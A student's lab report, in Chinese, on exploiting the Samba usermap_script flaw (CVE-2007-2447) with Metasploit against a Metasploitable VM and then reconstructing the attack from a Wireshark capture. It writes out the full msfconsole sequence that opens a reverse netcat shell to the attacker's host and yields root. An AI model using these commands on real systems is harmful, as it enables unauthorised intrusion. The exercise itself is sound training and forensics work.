1.实践内容
(1)任务
- 任务一:使用 Metasploit 框架对 Linux 靶机的 Samba 服务进行远程渗透。通过 usermap_script 漏洞模块,配置合适的远程 Shell 载荷,设置目标与监听参数,完成漏洞利用,最终获取靶机的主机访问权限并验证权限级别。
- 任务二:进行攻防对抗模拟。攻击方在任务一基础上进一步取得 root 权限,并在靶机上执行命令、留下痕迹;防守方通过 Wireshark 在攻击期间实时抓包,分析流量还原攻击全过程,提取攻击者 IP、目标 IP 与端口、攻击时间、漏洞利用细节、Shellcode 类型以及攻击成功后输入的指令。
(2)实验环境
| 系统 | IP |
|---|---|
| Kali Linux | 192.168.188.13 |
| Metasploitable-Ubuntu | 192.168.188.125 |
(3).知识点梳理
- Metasploit 基础:
msfconsole使用、模块加载(use)、参数配置(set)、漏洞利用(exploit)和会话管理(sessions)。 - Samba 漏洞原理:
usermap_script命令注入漏洞(CVE-2007-2447),通过包含恶意 shell 元字符的用户名在sh -c中执行任意命令。 - Payload 机制:反向 Shell(
cmd/unix/reverse_netcat)利用mkfifo和nc建立反向连接并重定向 I/O。 - 网络连通性诊断:
ping和nmap检查目标可达性与端口开放状态。 - 流量分析:
tcpdump抓包、Wireshark 过滤(tcp.port、smb)与 TCP 流追踪,从原始流量中还原攻击过程。 - 攻击取证:从 SMB 会话请求中提取命令注入 payload,从反向连接端口的 TCP 流中恢复攻击者输入的明文命令。
二、实验过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
首先确认连通性

①启动Metasploit软件;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
use /multi/samba/usermap_script

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);
set RHOST 192.168.188.125
set LHOST 192.168.188.13
set LPORT 4444
set payload cmd/unix/reverse_netcat

show options确定一下配置

⑤执行渗透攻击;
exploit
sessions 1 #进入会话
执行渗透攻击后会看上去像是卡了,这是因为Metasploit 默认把拿到的 shell 放在后台,不会自动弹出交互界面,所以你看到提示后就停滞在那里。
这时执行sessions 1可以进入会话,然后正常执行命令就可以了

⑥查看是否正确得到远程Shell,并查看获得的权限。
查看hostname,显示metasplotiable

执行whoami发现现在是root

(2)攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcp dump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
防守方开始抓包

攻击机攻击靶机
sudo msfconsole
use /multi/samba/usermap_script
set RHOST 192.168.188.125
set LHOST 192.168.188.13
set LPORT 4444
set payload cmd/unix/reverse_netcat
exploit
sessions 1

依次执行了
whoami
ls
echo "HACKED by Kali 2025.4"
防守方结束抓包
流量分析
确定攻击参与方
通过 ip.addr == 192.168.188.125 过滤,发现攻击源 IP 为 192.168.188.13,目标 IP 为 192.168.188.125。
定位漏洞利用阶段
使用显示过滤器 tcp.port == 139 or tcp.port == 445 查看 SMB 流量,可观察到 Samba 会话建立及 NetBIOS 交互。

通过追踪编号对应的 TCP 流,发现数据流中出现畸形用户名参数:/= 或 ; 等注入符号

搜索得出这正是 usermap_script 漏洞利用的核心手法——借助 Samba 对用户名映射脚本处理不当的缺陷,在用户名中注入恶意指令,从而在靶机成功触发反向 shell。
攻击发起时间
在 Wireshark 中找到第一个包含畸形用户名的 SMB 请求包,查看其时间戳,获得精确的攻击起始时间
成功后命令记录
从反向 Shell 的 TCP 流中可直接提取攻击者输入的命令串

通过上述分析,防守方成功还原了完整的攻击链,获得了攻击者 IP、目标 IP 与端口、攻击发起时间、利用漏洞、载荷类型以及攻击成功后执行的全部命令。
三.学习中遇到的问题及解决
- 问题:在使用
bind_netcat载荷时,exploit显示成功但始终无法建立到 4444 端口的连接,返回超时。 - 解决方案:排查发现 Metasploitable 靶机的防火墙
ufw处于开启状态,阻止了外部对非服务端口的访问。在靶机执行sudo ufw disable临时关闭防火墙后再次攻击,成功获得 shell。实验后记得重新打开防火墙以保持环境安全。
四.实践总结
通过这次实践,我熟练掌握了使用 Metasploit 对 Linux 平台 Samba 服务漏洞进行攻击的整个流程,以及如何利用 Wireshark 对攻击流量进行完整取证分析。攻与防相互印证,加深了我对网络安全技术内里逻辑的理解。
